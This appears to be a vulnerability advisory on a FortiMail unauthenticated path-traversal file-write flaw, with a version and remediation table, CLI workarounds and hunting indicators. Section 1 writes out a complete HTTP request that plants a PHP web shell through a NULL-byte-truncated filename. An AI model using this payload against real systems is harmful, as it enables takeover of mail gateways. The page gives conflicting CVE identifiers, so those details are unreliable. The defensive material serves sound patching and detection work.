CVE-2026-104286: Fortinet FortiMail Pre-Auth Path Traversal & Arbitrary File Write RCE
HERMES THREAT SCORE & EMAIL GATEWAY EXPOSURE
Target:Fortinet FortiMail Secure Email Gateway โ IBE Management Subsystem Fortinet rates this vulnerability at CVSS 9.8 (Critical). The Hermes Threat Score assigns 98 (EXTREME) due to active in-the-wild weaponized exploitation cataloged by CISA KEV on October 1, 2026, under Binding Operational Directive (BOD) 26-04 with an emergency 72-hour remediation window (due October 4, 2026). FortiMail appliances act as the primary secure email gateway (SEG) perimeter inspection barrier for enterprise mail infrastructures. Exploitation requires no privileges or user interaction: unauthenticated remote actors exploit NULL-byte termination in path traversal sanitizers to drop arbitrary web shells directly into web server directories.
CVE-2026-104286: Fortinet FortiMail Pre-Auth Path Traversal & Arbitrary File Write RCEVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Fortinet FortiMail Secure Email Gateway documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Vulnerability Anatomy
Section titled โ1. Technical Vulnerability AnatomyโThe flaw resides in the Identity-Based Encryption (IBE) parameter processing service within FortiMailโs web management interface. When handling unauthenticated incoming HTTP requests destined for IBE key exchange and recipient verification, the parsing daemon takes user-controlled file paths without rigorous canonicalization.
By introducing encoded NULL bytes (%00 or \x00), an attacker truncates the extension and path prefix checks enforced by Fortinetโs path validation wrappers:
POST /ibe/download/attachment HTTP/1.1Host: mail.target-enterprise.comContent-Type: multipart/form-data; boundary=----HermesBoundary
------HermesBoundaryContent-Disposition: form-data; name="filename"; filename="../../var/webui/portal/shell.php%00.txt"Content-Type: application/octet-stream
<?php system($_POST['cmd']); ?>------HermesBoundary--Because internal C runtime functions treat the NULL byte as a string terminator, the validation checks consider the file safe (ending in .txt), while the operating system filesystem driver writes shell.php directly into the public web root, giving the adversary instant unauthenticated root-level code execution.
2. Affected Versions & Remediation Matrix
Section titled โ2. Affected Versions & Remediation Matrixโ| Release Stream | Affected Versions | Fixed Release | Operational Remediation |
|---|---|---|---|
| FortiMail 8.0 | 8.0.0 through 8.0.1 | 8.0.2 | Upgrade immediately; restart web daemon |
| FortiMail 7.6 | 7.6.0 through 7.6.6 | 7.6.7 | Upgrade immediately |
| FortiMail 7.4 | 7.4.0 through 7.4.8 | 7.4.9 | Upgrade immediately |
| FortiMail 7.2 | 7.2.0 through 7.2.9 | Migrate to 7.4.9+ | End of Engineering Support stream; upgrade required |
3. Workaround & Emergency CLI Mitigation
Section titled โ3. Workaround & Emergency CLI MitigationโIf firmware upgrades cannot be executed within the 72-hour CISA BOD 26-04 window, security teams must disable IBE globally via the FortiMail CLI:
# 1. Connect to FortiMail via SSH or local consoleconfig system global set ibe disableend
# 2. Verify external access restriction on administration portsconfig system interface edit "port1" set allowaccess ping https ssh unset allowaccess http nextend4. Threat Hunting & Forensic Indicators (IoCs)
Section titled โ4. Threat Hunting & Forensic Indicators (IoCs)โInspect FortiMail system and HTTP access logs for traversal tokens and suspicious file creations:
- Audit Target Logs:
/var/log/mail.log,/var/log/httpd/access.log. - Regex Query:
(?:%2e%2e%2f|\.\./)+(?:.*%00) - File Integrity Monitor: Audit
/var/webui/,/home/admin/, and/tmp/for recently modified PHP, ELF, or shell script files.